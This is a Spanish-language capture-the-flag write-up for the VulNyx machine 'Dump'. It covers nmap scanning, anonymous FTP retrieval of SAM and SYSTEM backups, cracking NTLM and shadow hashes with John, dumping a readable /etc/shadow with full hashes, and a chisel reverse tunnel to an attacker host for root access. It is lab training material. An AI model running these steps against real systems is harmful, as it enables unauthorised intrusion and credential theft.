VulNyx - Dump
- Getting NTLM User Hashes - (Secretsdump)
- Brute Force Sam Hashes - (John)
- Brute Force Shadow Hash - (John)
- Local Port Forwarding - (Chisel/Privesc)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.14
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
80/tcp open http syn-ack ttl 64
4200/tcp open vrml-multi-use syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 21,80,4200 -v 192.168.1.14
PORT STATE SERVICE VERSION
21/tcp open ftp pyftpdlib 1.5.4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 root root 4096 Feb 09 10:46 .backup [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.1.14:21
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
4200/tcp open ssl/http ShellInABox
|_http-favicon: Unknown favicon MD5: 2AB43FA7D288987C3DBE15F0C53EE407
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dump
| Issuer: commonName=dump
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-09T11:53:57
| Not valid after: 2044-02-04T11:53:57
| MD5: 21e7:bbd7:eb0f:fac8:78f0:9f8b:23fc:e562
|_SHA-1: 0429:9a36:da9b:d3af:6b52:a8c2:b132:be42:cf13:4425
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Shell In A Box
FTP TCP - 21
En el escaneo de servicios nmap me ha detectado el directorio .backup así que me conecto al servidor FTP.
❯ ftp 192.168.1.14
Connected to 192.168.1.14.
220 pyftpdlib 1.5.4 ready.
Name (192.168.1.14:noname): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||39583|).
125 Data connection already open. Transfer starting.
drwxrwxrwx 2 root root 4096 Feb 09 10:46 .backup
226 Transfer complete.
Entro en el directorio .backup, en su interior encuentro el archivo sam.bak
y system.bak
.
ftp> cd .backup
250 "/.backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||47413|).
125 Data connection already open. Transfer starting.
-rwxrwxrwx 1 root root 24576 Feb 09 10:35 sam.bak
-rwxrwxrwx 1 root root 3264512 Feb 09 10:36 system.bak
Uso la herramienta file para identificar el tipo de archivos.
Con impacket-secretsdump me muestra todos los usuarios con sus hashes.
Obtengo las credenciales de dos usuarios.
En esta parte tengo que agradecer la ayuda del sr d4t4s3c ya que pasé por alto un pequeño detalle, es importante especificar el –format=NT sino te devolverá los resultados en mayúsculas.
SHELL IN A BOX - 4200
Me conecto como usuario dumper.
Mediante netcat me conecto al sistema para trabajar más cómodo.
Obtengo la shell.
Enumero el sistema y veo que puedo leer el archivo shadow.
dumper@dump:~$ ls -la /etc/shadow
-rw-r--r-- 1 root shadow 974 feb 9 12:53 /etc/shadow
Lanzo un cat al archivo shadow para comprobar que puedo leerlo.
dumper@dump:/tmp$ cat /etc/shadow
root:$6$jzcdBmCLz0zF2.b/$6sok07AjDc3TN3oeI/NqrdZ6NSQly3ADW6lvs3z5q.5GDqsCypL8WtL7ARhzDcdYgukakXWeNbiIP7GyigCse/:19762:0:99999:7:::
daemon:*:18898:0:99999:7:::
bin:*:18898:0:99999:7:::
sys:*:18898:0:99999:7:::
sync:*:18898:0:99999:7:::
games:*:18898:0:99999:7:::
man:*:18898:0:99999:7:::
lp:*:18898:0:99999:7:::
mail:*:18898:0:99999:7:::
news:*:18898:0:99999:7:::
uucp:*:18898:0:99999:7:::
proxy:*:18898:0:99999:7:::
www-data:*:18898:0:99999:7:::
backup:*:18898:0:99999:7:::
list:*:18898:0:99999:7:::
irc:*:18898:0:99999:7:::
gnats:*:18898:0:99999:7:::
nobody:*:18898:0:99999:7:::
_apt:*:18898:0:99999:7:::
systemd-timesync:*:18898:0:99999:7:::
systemd-network:*:18898:0:99999:7:::
systemd-resolve:*:18898:0:99999:7:::
messagebus:*:18898:0:99999:7:::
sshd:*:18898:0:99999:7:::
systemd-coredump:!!:18898::::::
dumper:$6$8sDPsnEu5ZBa8bgE$EqxYjZuAYVmAqbusMGgx.NmwUwx0UcSVe2Z/YTRk1DqBOnxFxNbot7ktfzYxNALw8iDKXrkfV5.e54uTMgr371:19762:0:99999:7:::
shellinabox:*:19762:0:99999:7:::
En mi máquina creo el archivo passwd y el archivo shadow con el siguiente contenido.
Con unshadow creo un fichero hash para intentar romperlo con john.
❯ unshadow passwd shadow > hashroot
Obtengo la contraseña de root.
El puerto 22 está abierto de forma local.
Si intento conectarme con el usuario root me da el siguiente error.
Descargo chisel a la máquina víctima, en mi máquina dejo a la escucha chisel en modo server.
❯ ./chisel server -p 9080 --reverse
2024/02/09 18:10:04 server: Reverse tunnelling enabled
2024/02/09 18:10:04 server: Fingerprint 4+ZQAqq3nwtDvtH5VDsuccWMRryL8ph5fPjzvnQ8uUw=
2024/02/09 18:10:04 server: Listening on http://0.0.0.0:9080
En la máquina victima lanzo chisel modo cliente.
dumper@dump:/tmp$ ./chisel client 192.168.1.20:9080 R:22:127.0.0.1:22
Una vez lanzado chisel veo que se ha establecido la conexión.
❯ ./chisel server -p 9080 --reverse
2024/02/09 18:10:04 server: Reverse tunnelling enabled
2024/02/09 18:10:04 server: Fingerprint 4+ZQAqq3nwtDvtH5VDsuccWMRryL8ph5fPjzvnQ8uUw=
2024/02/09 18:10:04 server: Listening on http://0.0.0.0:9080
2024/02/09 18:10:05 server: session#1: tun: proxy#R:22=>22: Listening
Obtengo el root de la siguiente forma.
Y aquí termina la máquina Dump.
Saludos!